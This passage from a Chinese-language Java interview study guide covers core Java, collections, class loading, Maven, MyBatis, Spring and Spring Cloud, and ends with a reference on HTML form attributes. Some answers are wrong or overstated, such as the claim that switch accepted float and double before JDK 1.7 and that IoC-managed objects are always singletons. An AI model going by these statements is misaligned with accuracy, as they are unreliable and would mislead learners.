          (1)Integer是int的包裝類;int是基本數據類型;

          (2)Integer變量必須實例化后才能使用;int變量不需要;

          (3)Integer實際是對象的引用,指向此new的Integer對象;int是直接存儲數據值 ;

          (4)Integer的默認值是null;int的默認值是0。

          4、switch中能否使用string類型的參數作為變量(涉及到jdk版本的理解)

          在JDK1.7之前,switch只能支持byte、short、char、int、float、double或者其對應的封裝類以及Enum類型。JDK1.7開始支持String。當字符串不會頻繁改變時可以用枚舉來代替String。

          5、說明ArrayList和LinkedList的區別和優缺點,在哪些場景會使用?

          區別:

          (1)ArrayList是實現了基于動態數組的數據結構,LinkedList是基于鏈表結構;

          (2)對于隨機訪問的get和set方法,ArrayList要優于LinkedList,因為LinkedList要移動指針;

          (3)對于新增和刪除操作add和remove,LinkedList比較占優勢,因為ArrayList要移動數據;

          各自優缺點:

          (1)對ArrayList和LinkedList而言,在列表末尾增加一個元素所花的開銷都是固定的。對ArrayList而言,主要是在內部數組中增加一項,指向所添加的元素,偶爾可能會導致對數組重新進行分配;而對LinkedList而言,這個開銷是 統一的,分配一個內部Entry對象。

          (2)在ArrayList集合中添加或者刪除一個元素時,當前的列表移動元素后面所有的元素都會被移動。而LinkedList集合中添加或者刪除一個元素的開銷是固定的。

          (3)LinkedList集合不支持 高效的隨機隨機訪問(RandomAccess),因為可能產生二次項的行為。

          (4)ArrayList的空間浪費主要體現在在list列表的結尾預留一定的容量空間,而LinkedList的空間花費則體現在它的每一個元素都需要消耗相當的空間。

          應用場景:

          ArrayList使用在查詢比較多,但是插入和刪除比較少的情況,而LinkedList用在查詢比較少而插入刪除比較多的情況

          6、實現多線程的幾種方式,多線程的應用場景有哪些?

          (1)、繼承Thread類,重寫run方法

          (2)、實現Runnable接口,重寫run方法。【可以避免由于Java的單繼承特性而帶來的局限。適合多個線程去處理同一資源的情況】

          (3)、實現Callable接口,重寫call方法。【有返回值,允許拋出異常】

          (4)、使用線程池【減少創建新線程的時間,重復利用線程池中線程,降低資源消耗,可有返回值】

          7、${}和#{}的區別

          使用#{}:

          (1)、傳入參數,sql在解析的時候會加上" ",當成字符串來解析,如 id = "id";

          (2)、#{}能夠很大程度上防止sql注入;

          使用${}:

          (1)、傳入數據直接顯示在生成的sql中,sql在解析的時候值為id = id。

          (2)、${}方式無法防止sql注入

          最后:能用#{}時盡量用#{},但有些場合需要使用$。

          注意MyBatis排序時使用order by 動態參數時需要注意,用$而不是#(#會自動拼接符號)

          8、描述一下JVM加載class文件的原理機制和特點。

          Java中的所有類,都需要由類加載器裝載到JVM中才能運行。JVM中類的加載是由類加載器(ClassLoader)和它的子類來實現的。在我們使用一個類之前,JVM需要先將該類的字節碼文件(.class文件)從磁盤、網絡或其他來源加載到內存中(加載Class文件到JVM),并對字節碼進行解析生成對應的Class對象,這就是類加載器的功能。我們可以利用類加載器,實現類的動態加載。在寫程序的時候,我們幾乎不需要關心類的加載,因為這些都是隱式裝載的,除非我們有特殊的用法,像是反射,就需要顯式的加載所需要的類。

          Java類的加載是動態的,它并不會一次性將所有類全部加載后再運行,而是保證程序運行的基礎類(像是基類)完全加載到jvm中,至于其他類,則在需要的時候才加載。這當然就是為了節省內存開銷。

          進一步提問:類加載的方式有幾種?區別是什么?

          類裝載方式有兩類:隱式裝載和顯示裝載,其中顯示裝載又分2種方式。

          (1)、隱式裝載,程序在運行過程中當碰到通過new 等方式生成對象時,隱式調用類裝載器加載對應的類到jvm中,比如

          Dog dog = new Dog();【第一種方式】

          (2)、顯式裝載,

          【第二種方式】使用Class.forName()通過反射加載類型,并創建對象實例,比如

          Class clazz = Class.forName(“Dog”);
          Object dog =clazz.newInstance();

          如果無法找到Dog,則拋出ClassNotFoundException。

          【第三種方式】使用某個ClassLoader實例的loadClass()方法

          Class clazz = classLoader.loadClass("Dog");

          Object dog=clazz.newInstance();

          如果無法找到Dog,則拋出ClassNotFoundException。

          區別:

          方式1和2使用的類加載器是相同的,都是當前類加載器(即:this.getClass.getClassLoader)。
          方式3由用戶指定類加載器。如果需要在當前類路徑以外尋找類,則只能采用方式3。即第3種方式加載的類與當前類分屬不同的命名空間。

          方式1是靜態加載,方式2和3是動態加載。

          進一步提問:java內置的類加載器(ClassLoader)有哪些,簡述一下類加載器工作原理

          Java的類加載器有三個:

          第一種是Bootstrap Loader(引導類加載器)。它的實現依賴于底層操作系統,由C編寫而成,沒有繼承于ClassLoader類。根類加載器從系統屬性sun.boot.class.path所指定的目錄中加載類庫。默認為jre目錄下的lib目錄下的class文件,該加載器沒有父加載器。負責加載虛擬機的核心類庫,如java.lang.*。Object類就是由根類加載器加載的。

          第二種是Extended Loader(標準擴展類加載器)。它的父加載器為根類加載器。由java編寫而成,是ClassLoader的子類。它從java.ext.dirs中加載類庫,或者從JDK安裝目錄jre\lib\ext子目錄下加載類庫。如果把用戶創建的jar文件放在該目錄下,也會自動由擴展類加載器加載。

          第三種是AppClass Loader(應用程序類路徑類加載器)。它的父加載器為擴展類加載器。由java編寫而成,是ClassLoader的子類,它從環境變量classpath或者系統屬性java.class.path所指定的目錄中加載類,是用戶自定義的類加載器的默認父加載器。

          加載類時,會以Bootstrap Loader→Extended Loader→AppClass Loader的順序來尋找類,如果找不到,就會丟出NoClassDefFoundError。

          9、在一個類中,聲明了若干個static方法和非static方法,聲明的static方法能否直接訪問聲明的非static方法?

          static方法不能直接訪問非static方法,因為static方法是屬于這個類本身的一個方法,在編譯期間就已經確定了;而非static方法是屬于這個類的對象的方法,需要在實例化之后才能訪問到。即:static方法調用時不需要創建對象,可以直接調用,非static方法是要與對象關聯在一起的,必須創建一個對象后,才可以在該對象上進行方法調用,若在static方法中訪問非static方法,非static方法不知道關聯到哪個對象上,將不能通過編譯。

          進一步提問:說一下靜態方法和非靜態方法都是在什么時候被裝載到內存中的?

          靜態方法(Static Method)與靜態成員變量一樣,屬于類本身,在類裝載的時候被裝載到內存(Memory),不自動進行銷毀,會一直存在于內存中,直到JVM關閉。
          非靜態方法(Non-Static Method)又叫實例化方法,屬于實例對象,實例化后才會分配內存,必須通過類的實例來引用。不會常駐內存,當實例對象被JVM 回收之后,也跟著消失。

          進一步提問:靜態方法怎樣訪問非靜態方法?

          靜態方法不能直接使用本類的非靜態方法
          解決方式有三種
          (1)、兩個方法都改成非靜態
          (2)、兩個方法都改成靜態
          (3)、先創建類的實例,然后靜態方法再調用這個實例的非靜態方法

          10、在Java中,對象什么時候可以被垃圾回收?

          Java垃圾回收不是實時的,垃圾回收器的作用是查找和回收(清理)無用的對象。以便讓JVM更有效地使用內存。垃圾回收器的運行時間是不確定的,由JVM決定,在運行時是間歇執行的。也可以通過System.gc()來強制回收垃圾,但是這個命令下達后JVM不一定會立即響應執行,但間隔一小段時間基本都會執行。

          11、一個漢字占幾個字節

          中文在不同編碼下占不定長的 2~4個字節。注意在utf-16中占用兩個字節,在java 運行時用UTF-16編碼在轉碼的時候會在前面加上表示字節順序的字符,這個字符稱為”零寬度非換行空格”(ZERO WIDTH NO-BREAK SPACE),用FEFF表示。FEFF占用兩個字節。

          12、項目中使用Maven進行構建,有哪些優勢?你使用過哪些maven命令?說一下maven中本地倉庫和遠程倉庫的區別和聯系。

          優點:

          (1)創建項目,自動關聯和下載依賴的jar包,統一維護jar包

          (2)升級框架版本方便

          常用 Maven 命令:

          (1)、安裝項目到本地倉庫:mvn install

          (2)、創建maven項目:mvn archetype:generate

          (3)、驗證項目是否正確:mvn validate

          (4)、maven 打包:mvn package

          (5)、只打jar包:mvn jar:jar

          (6)、生成源碼jar包:mvn source:jar

          (7)、產生應用需要的任何額外的源代碼:mvn generate-sources

          (8)、編譯源代碼: mvn compile

          (9)、編譯測試代碼:mvn test-compile

          (10)、運行測試:mvn test

          (11)、運行檢查:mvn verify

          (12)、清理maven項目:mvn clean

          Maven倉庫關系:

          maven的倉庫只有兩大類:1.本地倉庫 2.遠程倉庫,在遠程倉庫中又分成了3種:2.1 中央倉庫 2.2 私服 2.3 其它公共庫

          運行Maven的時候,Maven所需要的任何構件都是直接從本地倉庫獲取的。如果本地倉庫沒有,它會首先嘗試從遠程倉庫下載構件至本地倉庫,然后再使用本地倉庫的構件。

          13、Thread.sleep(0)有沒有實際作用

          觸發操作系統立刻重新進行一次CPU競爭,操作系統重新計算線程的優先級(包括當前線程)。競爭的結果也許是當前線程仍然獲得CPU控制權,也許會換成別的線程獲得CPU控制權。

          二、前端框架

          1、在項目中使用過哪些前端框架?

          Vue(用于構建用戶界面的 漸進式框架,特點:輕量級、雙向數據綁定、組件化)、

          React(構建用戶界面的 JAVASCRIPT 庫,特點:只負責顯示、聲明式框架、數據驅動DOM)、

          Angular(前端JS框架,核心:MVVM、模塊化、自動化雙向數據綁定、語義化標簽、依賴注入等)、

          QucikUI(企業級web前端開發解決方案)、

          Layui(前端 UI 框架)、

          Avalon(前端MVVM框架)、

          還有Dojo、Ember、Aurelia等

          2、js中如何查看某變量的數據類型?可以查看的數據類型有哪些?

          使用typeof查看變量的數據類型。

          javascript共有6種數據類型:

          基本類型5種:number、string、boolean、null、undefined。引用類型1種:object

          typeof檢測返回6種:undefined、boolean、string、number、object、function

          3、前端進行文件下載時,能不能用ajax向后端發起請求?

          Ajax不能實現文件下載功能

          原因:ajax的返回值是json,text,html,xml類型,或者可以說ajax的接收類型只能是String字符串,不是流類型,所以無法實現文件下載。但用aja仍然可以獲得文件的內容(可以讀取到返回的response,但只是讀取而已),該文件將被保留在內存中,無法將文件保存到磁盤,這是因為javascript無法和磁盤進行交互,否則這會是一個嚴重的安全問題,js無法調用瀏覽器的下載處理機制和程序,會被瀏覽器阻塞。

          4、如何解決前后端交互過程中特殊字符的傳參(比如中文、特殊符號等)?

          (這個問題屬于送分題,有一定項目經驗的人,都會注意到在前后端進行交互時,需要進行decoder編碼-Encoder解碼的過程,防止亂碼)

          進一步提問:前后端數組傳參如何處理?

          前端:數據使用JSON.stringify(str)處理

          后端:數據轉換:List<Object> objectList = JSONObject.parseArray(str, Object.class)

          5、FreeMarker、jsp、html 三者的區別

          先說說freemarker和jsp的不同,運行機制就不大一樣,jsp是編譯成繼承自servlet的class文件,運行jsp就是運行一個servlet(Java文件編譯后會產生一個class文件,最終執行的就是這個class文件,JSP也一樣,它也要編譯成class文件。JSP不止要編譯,它還得要轉譯,首先把JSP轉譯成一個Servlet文件,然后再編譯成class文件。當用戶訪問JSP時就執行了class文件)。

          而freemarker就是套模板,通過模板+內容直接生成HTML然后輸出。

          HTML(Hypertext Markup Language)文本標記語言,它是靜態頁面,和JavaScript一樣是解釋性語言。

          JSP(Java Server Page)Java服務端的頁面,它是動態頁面,它是需要經過JDK編譯后把內容發給客戶端去顯示。

          6、vue實例內部和外部分別怎么調用vue中的方法?

          內部調用: this.operate();

          外部調用:vm.operate(); (vm是vue實例名)

          三、后端技術

          1、Spring:

          (1)Spring中IOC和AOP的應用場景。

          AOP:面向切面編程。可以運用在日志,事務和異常處理等。如果不使用aop,那么就必須在每個類和方法中去實現它們。代碼糾纏在一起。每個類和方法中都包含日志、事務或者異常處理甚至是業務邏輯。在一個這樣的方法中,很難分清代碼中實際做的是什么處理。AOP 所做的就是將所有散落各處的事務代碼集中到一個事務切面中。

          AOP日志處理:使用Aop在接口方法上插入一行自定義的切面注解類,在切面處理類中可以記錄接口名稱、請求參數、請求ip、請求url、請求時間、響應參數、響應狀態、調用時長等;

          AOP事務處理:Spring在方法訪問數據庫之前,自動開啟事務,當訪問數據庫結束之后,自動提交/回滾事務;

          AOP異常處理:自定義開啟環繞通知,一旦運行接口報錯,環繞通知捕獲異常跳轉異常處理頁面。

          IOC就是Inversion of Control,即控制反轉,又稱依賴注入。它不是什么技術,而是一種設計思想。在Java開發中,傳統的創建對象的方法是直接通過 new 關鍵字(之前我們通過 "類名 對象名 = new 類名( )"的方式進行對象的創建,也就是說我們的程序負責對象的創建,控制了它是否被創建這件事情,這就叫做控制),而 spring 則是通過 IOC 容器來創建對象,也就是說我們將創建對象的控制權交給了 IOC 容器。這稱為控制反轉。概括的說就是:

          IOC 讓程序員不再關注怎么去創建對象,而是關注于對象創建之后的操作,把對象的創建、初始化、銷毀等工作交給spring容器來做。

          舉個例子:梳理這個問題在各種社會形態里如何解決:一個人(Java實例,調用者)需要一把斧子(Java實例,被調用者)

          (1) 原始社會里,幾乎沒有社會分工。需要斧子的人(調用者)只能自己去磨一把斧子(被調用者)。對應的情形為:Java程序里的調用者自己創建被調用者。
          (2)進入工業社會,工廠出現。斧子不再由普通人完成,而在工廠里被生產出來,此時需要斧子的人(調用者)找到工廠,購買斧子,無須關心斧子的制造過程。對應Java程序的簡單工廠的設計模式。
          (3)進入“按需分配”社會,需要斧子的人不需要找到工廠,坐在家里發出一個簡單指令:需要斧子。斧子就自然出現在他面前。對應Spring的依賴注入。

          第一種情況下,Java實例的調用者創建被調用的Java實例,必然要求被調用的Java類出現在調用者的代碼里。無法實現二者之間的松耦合。
          第二種情況下,調用者無須關心被調用者具體實現過程,只需要找到符合某種標準(接口)的實例,即可使用。此時調用的代碼面向接口編程,可以讓調用者和被調用者解耦,這也是工廠模式大量使用的原因。但調用者需要自己定位工廠,調用者與特定工廠耦合在一起。
          第三種情況下,調用者無須自己定位工廠,程序運行到需要被調用者時,系統自動提供被調用者實例。事實上,調用者和被調用者都處于Spring的管理下,二者之間的依賴關系由Spring提供。

          生活中這種例子比比皆是,支付寶在整個淘寶體系里就是龐大的ioc容器,交易雙方之外的第三方資金管理中心。

          (2)Spring依賴注入的方式有哪些?

          【set設值注入、構造函數注入、spring注解注入】

          Spring IOC既可以通過XML的形式進行bean與依賴注入配置,也可以通過注解的方式。(在springmvc中,我們一般使用xml進行裝配,而springboot使用全注解的形式)

          ①通過XML的形式進行bean與依賴注入

          通常有兩種: 設值注入&構造注入。

          設值注入就是指要被注入的類中定義有一個setter()方法,并在參數中定義需要注入的對象。

          構造注入就是指要被注入的類中聲明一個構造方法,并在此方法的參數中定義要注入的對象。

          ②注解的方式:

          注解包含三部分:

          | 組件類型注解--聲明當前類的功能與職責

          || 自動裝配注解--根據屬性特征自動注入對象

          ||| 元數據注解--更細化的輔助IoC容器管理對象的注解

          A、四種組件類型注解

          @Component:組件注解,通用注解,該注解描述的類將被IoC容器管理并實例化

          @Controller:語義注解,說明當前類是MVC應用中的控制類

          @Service:語義注解,說明當前類是Service業務服務類

          @Repository:語義注解,說明當前類作用于業務持久層,通常描述對應Dao類

          此外,在使用四種組件類型的注解時,必須開啟組件掃描,詳細配置如下:

          B、兩類自動裝配注解

          按類型裝配

          @Autowired

          @Inject

          按名稱裝配

          @Named

          @Resource

          優先設置name屬性,若未包含name屬性,會按照@Autowired注入

          C、元數據注解

          @Primary--按類型裝配時出現多個相同類型的對象,擁有此注解對象優先被注入

          @PostContruct:相當于init-method

          @PreDestory:相當于destory--method

          @Scope:設置對象Scope屬性

          @Value:為屬性注入靜態數據

          (3)為什么非使用依賴注入,我要用到一個其他對象時,new一個怎么就不好了。

          本質上都是創建對象,最大的區別還是生命周期的管理以及復雜依賴的處理。

          ①、生命周期

          比如一個類或者接口全程只要一個實例,用依賴注入的話只需要注冊成單例即可,如果自己實例化的話你需要擼一個單機模式(餓漢、懶漢、線程安全等模式)的類,并發下還要考慮線程安全。

          ②、復雜依賴

          如果這個類或者接口不依賴其他的類或者接口差異不明顯,如果依賴的類比較多的情況下(A依賴B,B又依賴C,C又依賴D,D又依賴其他)自己實例化會很麻煩。要創建A, 要先B、C、D先new一遍再new A。用ioc就快多了,A(B b),其他自動創建,是不是快多了。

          總結:在程序中如果不是必須同一個對象多個實例時,也就是一個對象只是在某個地方使用一下時new一下,依賴注入就比new一個對象更好,因為new一個對象必選面臨頻繁創建和銷毀內存實例對象的問題。而ioc管控下實例對象都是單例模式的,就是在程序運行時始終只有一個對象實例生成不需要頻繁創建和銷毀,也因為在內存中只有一個實例對象,減少內存開銷。

          (4)描述一下DispatcherServlet的工作流程?

          (5)SpringMVC如何區分控制器返回的是頁面還是數據(比如JSON格式的數據)

          使用@ResponseBody注解,該注解用于將Controller方法返回的對象,通過適當的HttpMessageConverter轉化為指定格式后,寫入到Response對象的body數據區。

          使用時機:返回的數據不是html標簽的頁面,而是其他某種格式的數據時(如json,xml等)。(如果是在程序中返回的html頁面代碼,也可以使用@ResponseBody,在HttpServletResponse寫入,設置ContentType為text/html)

          (6)Spring全家桶有哪些?

          Spring、Spring MVC、Spring Boot、Spring Cloud 、 Spring Security 、Spring Data

          (7)Spring普通類與工具類如何調用service層方法,為什么不能直接使用注解調用?

          Spring中的Service不是你想new就能new的,因為通過new實例化的對象脫離了Spring容器的管理,獲取不到注解的屬性值,所以會是null,就算調用service的類中有@Component注解加入了Spring容器管理,也還是null。

          新建SpringContextUtil類,在application.xml配置SpringContextUtil,最后使用DictService dictService = (DictService) SpringContextUtil.getBean("dictService");

          2、Springboot:

          (1) SpringBoot中如何進行單元測試?

          導入spring-boot-starter-test依賴。測試類使用注解@SpringBootTest,測試的方法上加@Test注解。

          (2) SpringBootApplication注解的作用。

          @SpringBootApplication注解是一個組合注解,@SpringBootApplication注解的源碼我們發現,它是由ComponentScan、SpringBootConfiguration、EnableAutoConfiguration等注解組合而成:

          (3) 在一個Springboot+mybatis+mysql+oracle+redis+aop功能的項目中,在pom.xml中需要引入哪些jar包依賴?

          進一步提問:以redis為例,springboot 1.x與springboot 2.x引入的jar包有何不同?

          在 springboot 1.5.x版本的默認的Redis客戶端是Jedis實現的,springboot 2.x版本中默認客戶端是用lettuce實現的。

          3、SpringCloud:

          (1)springCloud的核心組件有哪些,解決什么問題?

          Eureka(注冊中心)

          每個微服務都有一個EurekaClient組件,專門負責將這個服務的信息注冊到EurekaServer中,也就是告訴EurekaServer,自己在哪臺機器上,監聽著哪個端口。而EurekaServer是一個注冊中心,里面有一個注冊表,保存了各服務所在的機器和端口號。

          Feign(REST客戶端)

          Feign是一個聲明式REST客戶端,主要是為了簡便服務調用,更快捷、優雅地調用HTTPAPI。主要是實現原理是用動態代理,你要是調用哪個接口,本質就是調用Feign創建的動態代理。

          Ribbon(負載均衡)

          Ribbon的作用是負載均衡,會幫你在每次請求時選擇一臺機器,均勻地把請求分發到各個機器上,默認使用的最經典的RoundRobin輪詢算法(如果發起10次請求,那就先讓你請求第1臺機器、然后是第2臺機器、第3臺機器,接著再來—個循環,第1臺機器、第2臺機器。。。以此類推)

          Hystrix(熔斷器)

          微服務框架是許多服務互相調用的,要是不做任何保護的話,某一個服務掛了,就會引起連鎖反應,導致別的服務也掛。Hystrix是隔離、熔斷以及降級的一個框架。如果調用某服務報錯或者掛了,就對該服務熔斷,在5分鐘內請求此服務直接就返回一個默認值,不需要每次都卡幾秒,這個過程,就是所謂的熔斷。但是熔斷了之后就會少調用一個服務,此時需要做下標記,標記本來需要做什么業務,但是因為服務掛了,暫時沒有做,等熔斷的服務恢復了,就可以手工處理這些業務。這個過程,就是所謂的降級。

          Zuul(服務網關)

          Zuul微服務網關,負責網絡路由。假設你后臺部署了幾百個服務,現在有個前端兄弟要來調用這些服務,難不成你讓他把所有服務的名稱和地址全部記住,這是不現實的,所以一般微服務架構中都必然會設計一個網關,所有請求都往網關走,網關會根據請求中的一些特征,將請求轉發給后端的各個服務。而且有一個網關之后,還有很多好處,比如可以做統一的降級、限流、認證授權、安全,等等。

          總結步驟:①服務注冊—》②服務發現—》③負載均衡—》④服務調用—》⑤隔離、熔斷與降級—》⑥網關路由

          流程說明:各個服務啟動時,Eureka Client都會將服務注冊到Eureka Server,并且Eureka Client還可以反過來從Eureka Server拉取注冊表,從而知道其他服務在哪里。服務間發起請求的時候,基于Ribbon做負載均衡,從一個服務的多臺機器中選擇一臺。基于Feign的動態代理機制,根據注解和選擇的機器,拼接請求URL地址,發起請求。發起請求是通過Hystrix的線程池來走的,不同的服務走不同的線程池,實現了不同服務調用的隔離,避免了服務雪崩的問題。如果前端、移動端要調用后端系統,統一從Zuul網關進入,由Zuul網關轉發請求給對應的服務。

          (2)SpringCloud和Dubbo兩種微服務架構有何區別?

          Dubbo的定位始終是一款RPC框架,而SpringCloud的目標是微服務架構下的一站式解決方案。如果非要比較的話,Dubbo可以類比到NetflixOSS技術棧,而SpringCloud集成了NetflixOSS作為分布式服務治理解決方案,但除此之外SpringCloud還提供了配置、消息、安全、調用鏈跟蹤等分布式問題解決方案。

          (3)SpringBoot和SpringCloud 側重點分別在哪些方面?

          SpringBoot是Spring的一套快速配置腳手架,可以基于SpringBoot快速開發單個微服務,SpringCloud是一個基于SpringBoot實現的云應用開發工具;

          SpringBoot專注于快速、方便集成的單個微服務個體,SpringCloud關注全局的服務治理框架;

          SpringBoot使用了默認大于配置的理念,很多集成方案已經幫你選擇好了,能不配置就不配置,SpringCloud很大的一部分是基于SpringBoot來實現。SpringBoot可以離開SpringCloud獨立使用開發項目,但是SpringCloud離不開SpringBoot,屬于依賴的關系。

          (4)springcloud如何實現服務的注冊和調用?

          1)服務發布時,指定對應的服務名(服務名包括了IP地址和端口),將服務注冊到注冊中心(eureka 或者zookeeper)
          2)注冊中心加@EnableEurekaServer,服務用@EnableDiscoveryClient,然后用ribbon或feign進行服務直接的調用發現。(這一過程是springcloud自動實現 只需要在main方法添加@EnableDisscoveryClient。同一個服務修改端口就可以啟動多個實例)

          4、mybatis:

          (1)Mybatis中mapper.xml映射文件,通常都會寫一個Mapper接口與之對應,這個Mapper層接口是怎么能夠找到指定xml下的方法的?

          Mapper接口是沒有實現類的,當調用接口方法時,接口全限名(就是映射文件中的namespace的值)+方法名拼接字符串作為key值,可唯一定位一個MapperStatement。在Mybatis中,每一個<select>、<insert>、<update>、<delete>標簽,都會被解析為一個MapperStatement對象。

          (2)Mybatis的Xml映射文件中,不同的Xml映射文件,id是否可以重復?

          不同的Xml映射文件,如果配置了namespace,那么id可以重復;如果沒有配置namespace,那么id不能重復;原因就是namespace+id是作為Map<String,MapperStatement>的key使用的,如果沒有namespace,就剩下id,那么,id重復會導致數據互相覆蓋。有了namespace,自然id就可以重復,namespace不同,namespace+id自然也就不同。

          (3)Mybatis中使用MySQL和Oracle分頁的區別

          MySQL分頁:(利用LIMIT關鍵字)計算參數為開始序號(startNum),要查的總條數(totalNum)

          Oracle分頁:(利用自帶的rownum)計算參數為開始序號(startNum),結束序號(endNum)【注意:Oracle分頁利用其自帶的rownum,但是rownum在表中不能使用>號(比如select rownum,a.* from A a where rownum > n,查出的都是空),但是可以使用<。這是因為rownum是一個總是從1開始的偽列,Oracle認為rownum>n(n>1的自然數)這種條件依舊不成立,所以查不到記錄】

          (4)Mybatis是如何將sql執行結果封裝為目標對象并返回的?

          第一種是使用resultMap標簽,逐一定義列名和對象屬性名之間的映射關系。

          第二種是使用sql列的別名功能,將列別名書寫為對象屬性名,比如T_NAME AS NAME,對象屬性名一般是name,小寫,但是列名不區分大小寫,Mybatis會忽略列名大小寫,智能找到與之對應對象屬性名,你甚至可以寫成T_NAME AS NaMe,Mybatis一樣可以正常工作。

          進一步提問:resultMap和resultType有啥區別?

          resultType:當使用resultType做SQL語句返回結果類型處理時,對于SQL語句查詢出的字段在相應的pojo中必須有和它相同的字段對應,而resultType中的內容就是pojo在本項目中的位置。

          resultMap:當使用resultMap做SQL語句返回結果類型處理時,通常需要先在mapper.xml中定義resultMap進行pojo和相應表字段的對應關系。然后再使用resultMap。

          (5)Mybatis xml映射文件中,除了常見的select、insert、updae、delete標簽之外,還有哪些標簽及其作用?

          除了這四個標簽,還有<resultMap>、<parameterMap>、<sql>、<include>、<selectKey>,一個9個標簽,其中<sql>為sql片段標簽,通過<include>標簽引入sql片段,<selectKey>為不支持自增的主鍵生成策略標簽。

          (6)為什么說Mybatis是半自動ORM映射工具?它與全自動的區別在哪里?

          hibernate對很多數據庫的操作已經進行了封裝,hibernate操作對象時,比如往數據庫添加一條記錄,直接save就可以了。(Hibernate屬于全自動ORM映射工具,使用Hibernate查詢關聯對象或者關聯集合對象時,可以根據對象關系模型直接獲取),而Mybatis在查詢關聯對象或關聯集合對象時,需要手動編寫sql來完成,雖然現在已經有不少程序可以自動生成xml文件,但還是需要自己調整sql,所以稱之為半自動ORM映射工具。這也從側面可以看出hibernate的拓展性不如Mybatis(hibernate做了很多封裝)。

          (7)mybatis 為什么大于不用轉義,小于必須轉義?

          mybatis不支持“<”,本質是xml不支持這個符號,<會引起xml格式的錯誤,xml文件中的標簽是 <…> 這種形式的, 所以當出現 “<” 號時, 會認為是一個標簽的開始。

          單屬性匯總:

          1 name屬性

          服務器會識別不同的name屬性,并根據name屬性來捕獲不同元素內的數據。

          2 value屬性

          value 屬性為 input 元素設定值。

          對于不同的輸入類型,value 屬性的用法也不同:

          type="button", "reset", "submit" - 定義按鈕上的顯示的文本

          type="text", "password", "hidden" - 定義輸入字段的初始值

          type="checkbox", "radio", "image" - 定義與輸入相關聯的值

          注釋:<input type="checkbox"> 和 <input type="radio"> 中必須設置 value 屬性。

          注釋:value 屬性無法與 <input type="file"> 一同使用。

          注意:單選框和復選框傳遞數據到數據庫時一定要設置value, 否則插入數據失敗;

          3 type屬性

          它決定了<input>標簽在頁面中的表現樣式和功能

          text 文本框

          password 密碼框

          radio 單選框

          checkbox 復選框

          file 文件域

          hidden 隱藏域

          image 圖像域

          submit 提交按鈕

          reset 重置按鈕

          button 普通按鈕

          4 size屬性

          列表框中size屬性用來設置列表框顯示的行數;

          文本框和密碼框會使用size屬性設置域的顯示寬度;

          5 disabled屬性

          定義disabled屬性可以禁止使用該元素;

          無法將數據提交到服務器處理;

          6 readonly屬性

          常用在輸入性表單對象中(如文本框、密碼框、文本區域),用來禁止輸入任何信息;

          可以將數據提交到服務器處理;

          7 checked屬性

          它與disabled屬性一樣沒有屬性值,常用在選擇性表單對象中,定義對象處于被選中狀態(如單選按鈕和復選框)

          但在列表框或者下拉式菜單中,為了表示被選中的項目,可使用selected屬性;

          7 placeholder屬性

          規定幫助用戶填寫輸入字段的提示。

          表單對象:

          1 文本框

          <input type="text" name="textfield" id="textfield" value="單行文本框" size="20" maxlength="20">

          必需的屬性:name type

          2 密碼域

          <input type="password" name="passwordfield" id="passwordfield">

          必需的屬性:name type

          3 文本域

          <textarea name="textarea" cols="20" rows="5" wrap="physical"></textarea>

          必需的屬性:name cols rows

          wrap屬性 默認值:輸入的文本會自動換行。當數據提交到服務器被處理時, 換行符不會隨輸入的文本一同被提交到服務器;

          off(也可寫成wrap):不自動換行, 當輸入的內容超出文本區域右邊界時, 文本將向左滾動, 并顯示滾動條。

          如果希望換行,必須手動輸入回車鍵才能將插入點移到下一行;

          virtual:文本能夠自動換行, 當數據提交到服務器被處理時, 換行符不會隨輸入文本一同提交到服務器;(默認值)

          physical:文本能夠自動換行, 當數據提交到服務器被處理時, 換行符將會隨輸入的文本一同被提交到服務器進行處理;

          關于如何限制文本域輸入字符串的長度 見javascript|語法|設置文本框

          HTML5中wrap中屬性值修改為hard|soft

          soft 當在表單中提交時, textarea 中的文本不換行, 默認值。

          hard 當在表單中提交時, textarea 中的文本換行(包含換行符)。

          當使用 "hard" 時, 必須規定 cols 屬性

          4 單選按鈕

          單選按鈕傳遞的信息簡單,如1或0、True或False。

          <input type="radio" name="radio" value="1"/>選項1
          <input type="radio" name="radio" value="2"/>選項2
          <input type="radio" name="radio" value="3"/>選項3

          多個單選按鈕通過定義相同的name屬性, 以實現捆綁在一起;

          必需的屬性:type name value

          5 復選框

          <input type="checkbox" name="checkbox[]" value="1"/>選項2
          <input type="checkbox" name="checkbox[]" value="2"/>選項2
          <input type="checkbox" name="checkbox[]" value="3"/>選項2

          通過設置相同的name屬性可以把多個復選框捆綁在一起;

          必需的屬性:type name value

          6 列表框/下拉菜單

          <select name="select" size=1>
          <option value="1">1</option>
          <option value="2" selected="selected">2</option>
          <option value="3">3</option>
          </select>

          如果select元素中不設置size屬性,則該元素會顯示為下拉菜單樣式

          <select name="select" size="1" multiple="multiple">
          <option value="1">1</option>
          <option value="2" selected="selected">2</option>
          <option value="3">3</option>
          </select>

          如果希望以列表框形式顯示,則可以使用size屬性指定列表框的高度(顯示幾個選項);

          還可以通過mutiple屬性定義列表框是否為多選(默認是單選);

          通過<optgroup>標簽把相關的選項組合在一起:

          <select>
          <optgroup label="PHP版塊">
          <option value ="resource">資源共享</option>
          <option value ="study">學習交流</option>
          <option value ="salary">薪酬待遇</option>
          </optgroup>
          <optgroup label="IOS版塊">
          <option value ="resource">資源共享</option>
          <option value ="study">學習交流</option>
          <option value ="salary">薪酬待遇</option>
          </optgroup>
          </select>

          注意:其中PHP版塊和IOS版塊不能被選中

          所有主流瀏覽器都支持 <optgroup> 標簽。

          7 文件域

          <input type="file" name="file"/>
          <input type="file" name="file" multiple/>

          8 按鈕

          提交按鈕

          <input type="submit" name="" value="提交"/>

          name值必須給出

          重置按鈕

          <input type="reset" name="" value="重置"/>

          普通按鈕

          <input type="button" name="" value="普通按鈕"/>

          它一般是配合javascript來使用;

          關于控制表單提交按鈕見: javascript|語法|控制表單提交

          9 圖像域

          <input type="image" name="image" value="提交" src="images/vote_d.gif" alt="提交" align="middle"/>

          10 隱藏域

          限制上傳文件大小

          <input type="hidden" name="MAX_FILE_SIZE" value="1000000" />

          傳遞ID值

          <input type="hidden" name="id" value="<?php echo $result['id'];?>" />

          11 button標簽

          在 button 元素內部,您可以放置內容,比如文本或圖像。這是該元素與使用 input 元素創建的按鈕之間的不同之處。

          <button type="button" name="button" value="按鈕"><img src="hw001.jpeg"/></button>

          普通按鈕<button type="button">普通按鈕</button> 它一般是配合javascript來使用, 默認值

          提交按鈕<button type="submit">提交按鈕</button>

          重置按鈕<button type="reset">重置按鈕</button>

          提交表單

          enctype屬性

          該屬性包含兩種方式:

          application/x-www-form-urlencoded 是默認編碼類型

          multipart/form-data

